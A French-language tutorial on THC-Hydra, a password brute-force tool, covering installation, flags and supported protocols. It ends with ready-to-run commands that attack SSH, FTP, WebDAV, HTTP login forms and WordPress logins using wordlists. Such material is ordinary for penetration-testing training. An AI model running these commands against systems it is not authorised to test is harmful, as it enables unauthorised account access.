Introduction à Hydra
Hydra, aussi connu sous le nom de THC-Hydra, est principalement utilisé pour effectuer des attaques par bruteforce dites « Online » (en réalisant une tentative de connexion via le réseau) sur différents services et protocoles. Cet outil teste de multiples combinaisons de noms d’utilisateur et de mots de passe sur de nombreux protocoles comme SSH, FTP, HTTP et d’autres, le rendant utile pour tester la robustesse des mots de passe ou pour tenter de se connecter sans connaitre les identifiants nécessaires.
Avec sa flexibilité et son soutien communautaire étendu, c’est un outil puissant pour les tests d’intrusion. Pour rester à jour sur les dernières versions et avoir des informations complémentaires, consultez le repository GitHub d’Hydra.
Comme pour le reste, utilisez cet outil de manière responsable et éthique !
Installation et Configuration
Hydra peut être installé sur Linux, MacOS et Windows (avec Cygwin).
Sur Debian et distros dérivées :
apt install hydraSyntaxe de Base et Options
La commande de base pour lancer une attaque avec Hydra est :
hydra [options] <IP> <protocol>Les flags clés comprennent :
-h: Affiche le menu d’aide.-l/-L: Pour spécifier un nom d’utilisateur unique ou une liste.-p/-P: Pour un mot de passe spécifique ou une liste de mots de passe.-s: Pour spécifier un port.-f: Arrête le brute force dès qu’une combinaison est trouvée.-R: Pour reprendre une session interrompue.-t: Pour définir le nombre de threads.-V: Pour un mode plus verbeux.
Protocoles Supportés
Hydra supporte une vaste gamme de protocoles, dont SSH, FTP, POP3, HTTP-FORM-GET, HTTP-FORM-POST, HTTP-HEAD, HTTP-POST, HTTP-GET, IMAP, SMB, SMTP, MySQL, et bien d’autres.
Exemples Pratiques
Voici quelques exemples d’attaques utilisant Hydra :
- Attaque SSH :
hydra -l admin -P rockyou.txt 192.168.10.10 ssh- Attaque HTTP Post form :
hydra -l admin -P rockyou.txt 192.168.10.10 http-post-form "/login:username=admin&password=^PASS^:F=Your password is incorrect"- Attaque WordPress :
hydra -l admin -P rockyou.txt 192.168.10.10 -V http-form-post '/wp-login.php:log=admin&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location'- Attaque FTP :
hydra -L /path/to/userlist.txt -P /path/to/password_list.txt 10.10.10.10 -t 4 ftp- Attaque WebDav :
hydra -L /path/to/userlist.txt -P path/to/password_list.txt 10.10.10.10 http-get /webdavDémonstration en vidéo
Pour compléter cet article, n’hésitez pas à consulter la vidéo explicative de Noobosaurus qui offre une démonstration pratique de l’utilisation d’Hydra.
Cette vidéo est un excellent complément pour ceux qui souhaitent voir Hydra en action, offrant des explications étape par étape sur la mise en place et l’exécution des attaques par bruteforce.